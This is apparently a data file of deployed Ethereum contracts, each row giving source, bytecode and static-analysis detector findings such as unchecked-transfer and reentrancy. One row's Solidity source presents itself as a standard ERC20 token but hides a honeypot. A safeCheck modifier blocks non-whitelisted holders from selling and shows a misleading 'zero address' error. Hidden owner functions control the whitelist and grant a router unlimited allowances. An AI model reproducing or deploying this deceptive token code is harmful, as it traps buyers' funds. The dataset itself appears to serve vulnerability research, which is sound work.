0809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461204157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600c60205281600052604060002081815481106120e057fe5b9060005260206000209060020201600091509150508060000154908060010154905082565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122095780601f106121de57610100808354040283529160200191612209565b820191906000526020600020905b8154815290600101906020018083116121ec57829003601f168201915b505050505081565b60001515600860149054906101000a900460ff1615151461227d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806142566026913960400191505060405180910390fd5b600061228833611b1e565b905060008111612300576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f596f7520646f206e6f742068617665206c6f636b656420746f6b656e732e000081525060200191505060405180910390fd5b80601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156123a057600080fd5b505afa1580156123b4573d6000803e3d6000fd5b505050506040513d60208110156123ca57600080fd5b8101908080519060200190929190505050101561244f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f496e73756666696369656e74206163636f756e742062616c616e63652100000081525060200191505060405180910390fd5b612457614111565b600d600060065481526020019081526020016000206040518060a00160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152505090506124c2828260400151613bf190919063ffffffff16565b81604001818152505080600d600060065481526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040155905050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156125bf57600080fd5b505af11580156125d3573d6000803e3d6000fd5b505050506040513d60208110156125e957600080fd5b810190808051906020019092919050505050600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006126469190614140565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fe8398b5717d1a2de24585ea2be0e730a9befda350c4f52c7bddeec23d61659ce338342600654604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a15050565b600061277382600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf190919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280882600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d9b90919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600860149054906101000a900460ff1681565b600981815481106128da57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600a5481565b600082601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612ad6578082015181840152602081019050612abb565b50505050905090810190601f168015612b035780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612b2557600080fd5b505af1158015612b39573d6000803e3d6000fd5b50505050600190509392505050565b600d6020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60001515600860149054906101000a900460ff16151514612c10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806142566026913960400191505060405180910390fd5b60008111612c86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5061796d656e74206d7573742062652067726561746572207468616e20302e0081525060200191505060405180910390fd5b80601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612d2657600080fd5b505afa158015612d3a573d6000803e3d6000fd5b505050506040513d6020811015612d5057600080fd5b81019080805190602001909291905050501015612db8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061427c6023913960400191505060405180910390fd5b80601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015612e8c57600080fd5b505afa158015612ea0573d6000803e3d6000fd5b505050506040513d6020811015612eb657600080fd5b81019080805190602001909291905050501015612f3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616c6c20417070726f76652066756e6374696f6e2066697273746c792e000081525060200191505060405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561301857600080fd5b505af115801561302c573d6000803e3d6000fd5b505050506040513d602081101561304257600080fd5b81019080805190602001909291905050505061305c614111565b600d600060065481526020019081526020016000206040518060a00160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152505090506130b8614164565b8281600001818152505042816020018181525050600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820151816000015560208201518160010155505050613165838360400151610d9b90919063ffffffff16565b82604001818152505081600d600060065481526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040155905050600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166132c95760093390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b7f2e280f6c712ca110f9a35656240ad17ac5bb31d888974d5989971e349dec5de833848360200151600654604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a1505050565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160065401905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461343c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156134c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806141ae6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f596f752063616e6e6f742063616c6c20746869732066756e6374696f6e00000081525060200191505060405180910390fd5b61364b614111565b600d600060065481526020019081526020016000206040518060a00160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152505090506136b8600a548260000151610d9b90919063ffffffff16565b421015613710576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806141f76037913960400191505060405180910390fd5b428160200181815250506137336005548260800151610d9b90919063ffffffff16565b81608001818152505060006137826201518061377460075461376686600001518760200151613bf190919063ffffffff16565b613c7a90919063ffffffff16565b613d1d90919063ffffffff16565b9050600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561385057600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b8082606001818152505081600d6000600654815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050507f0718ec116b04bad68bf69f7c11aac43b1275ac936d1043f0839dc8cd226d91723360065442604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a160006139298360200151613dac565b905060008090505b600980549050811015613b595760006139856009838154811061395057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168660200151613e45565b90506000811115613b4b576139986140f7565b600e6000600985815481106139a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050613a6a613a5785613a498886613c7a90919063ffffffff16565b613d1d90919063ffffffff16565b8260000151610d9b90919063ffffffff16565b816000018181525050613ab2613a9f85613a91896080015186613c7a90919063ffffffff16565b613d1d90919063ffffffff16565b8260200151610d9b90919063ffffffff16565b81602001818152505080600e600060098681548110613acd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155905050505b508080600101915050613931565b506006600081548092919060010191905055506040518060a001604052804281526020016000815260200184604001518152602001600081526020016000815250600d6000600654815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050506000600581905550505050565b600082821115613c69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616c63756c6174696f6e206572726f7200000000000000000000000000000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080831415613c8d5760009050613d17565b6000828402905082848281613c9e57fe5b0414613d12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616c63756c6174696f6e206572726f7200000000000000000000000000000081525060200191505060405180910390fd5b809150505b92915050565b6000808211613d94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616c63756c6174696f6e206572726f7200000000000000000000000000000081525060200191505060405180910390fd5b6000828481613d9f57fe5b0490508091505092915050565b6000806000905060008090505b600980549050811015613e3b576000809050613e0c60098381548110613ddb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686613e45565b90506000811115613e2d57613e2a8184610d9b90919063ffffffff16565b92505b508080600101915050613db9565b5080915050919050565b600080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011613e9957600090506140f1565b6000809050613ea6614111565b600d600060065481526020019081526020016000206040518060a001604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482015481525050905060008090505b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156140ea5760008090508260000151600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613f9e57fe5b9060005260206000209060020201600101541015613fd457613fcd836000015187613bf190919063ffffffff16565b9050614045565b614042600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061402157fe5b90600052602060002090600202016001015487613bf190919063ffffffff16565b90505b6140da6140cb620151806140bd84600c60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061409d57fe5b906000526020600020906002020160000154613c7a90919063ffffffff16565b613d1d90919063ffffffff16565b85610d9b90919063ffffffff16565b9350508080600101915050613f00565b5081925050505b92915050565b604051806040016040528060008152602001600081525090565b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b5080546000825560020290600052602060002090810190614161919061417e565b50565b604051806040016040528060008152602001600081525090565b6141aa91905b808211156141a657600080820160009055600182016000905550600201614184565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373596f752068617665206e6f20616e79207265776172647320746f207769746864726177596f752063616e6e6f742063616c6c20746869732066756e6374696f6e20756e74696c207374616b65506572696f64206973206f766572496e76616c6964206163636f756e742073746174652c206e6f7420656e6f7567682066756e64732e5468697320636f6e7472616374207761732070617573656420627920746865206f776e657221486f6c64657220646f6573206e6f74206861766520656e6f75676820746f6b656e732ea265627a7a72315820ae5e9ccdaf29d4e4e46de1cac5f6631baa71ef83427098fc2e6a6a77db4e068964736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 974 |
0xf4322f69bf81623f71ff1c8c0e44df02750ed543 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_HORD(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff